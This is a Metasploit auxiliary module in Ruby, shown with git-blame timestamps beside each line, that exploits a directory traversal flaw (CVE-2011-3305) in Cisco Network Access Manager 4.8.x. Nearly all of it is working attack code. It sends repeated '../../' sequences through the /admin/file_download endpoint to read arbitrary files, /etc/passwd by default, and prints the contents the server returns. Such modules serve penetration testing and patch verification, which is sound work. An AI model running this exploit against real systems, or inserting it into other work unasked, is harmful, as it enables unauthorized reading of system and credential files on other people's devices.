2011-10-23 11:56:13 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-10-23 11:56:13 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2011-10-23 11:56:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Scanner
|
2011-10-23 11:56:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
2016-11-28 20:27:11 +00:00
|
|
|
'Name' => 'Cisco Network Access Manager Directory Traversal Vulnerability',
|
|
|
|
'Description' => %q{
|
2013-08-30 21:28:54 +00:00
|
|
|
This module tests whether a directory traversal vulnerablity is present
|
|
|
|
in versions of Cisco Network Access Manager 4.8.x You may wish to change
|
|
|
|
FILE (e.g. passwd or hosts), MAXDIRS and RPORT depending on your environment.
|
|
|
|
},
|
2016-11-28 20:27:11 +00:00
|
|
|
'References' =>
|
2013-08-30 21:28:54 +00:00
|
|
|
[
|
|
|
|
[ 'CVE', '2011-3305' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '76080']
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
2016-11-28 20:27:11 +00:00
|
|
|
'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'DefaultOptions' => {
|
|
|
|
'SSL' => true
|
|
|
|
}
|
2013-08-30 21:28:54 +00:00
|
|
|
)
|
2011-10-23 11:56:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(443),
|
|
|
|
OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),
|
|
|
|
OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]),
|
|
|
|
], self.class)
|
|
|
|
end
|
2011-10-23 11:56:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run_host(ip)
|
2011-10-23 11:56:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
traversal = '../../'
|
|
|
|
part1= '/admin/file_download?tag='
|
|
|
|
part2 = '&fileType=snapshot'
|
2011-10-23 11:56:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
print_status("Attempting to connect to #{rhost}:#{rport}")
|
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => '/admin',
|
|
|
|
}, 25)
|
2011-10-23 11:56:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if (res)
|
|
|
|
1.upto(datastore['MAXDIRS']) do |level|
|
|
|
|
try = traversal * level
|
|
|
|
traversalstring = part1 + try + datastore['FILE'] + part2
|
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => traversalstring,
|
|
|
|
}, 25)
|
|
|
|
if (res and res.code == 200)
|
|
|
|
print_status("Request ##{level} may have succeeded on #{rhost}:#{rport}!\r\n Response: \r\n#{res.body}")
|
|
|
|
break
|
|
|
|
elsif (res and res.code)
|
|
|
|
print_error("Attempt ##{level} returned HTTP error #{res.code} on #{rhost}:#{rport}\r\n")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2011-10-23 11:56:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
end
|
2011-10-23 11:56:13 +00:00
|
|
|
end
|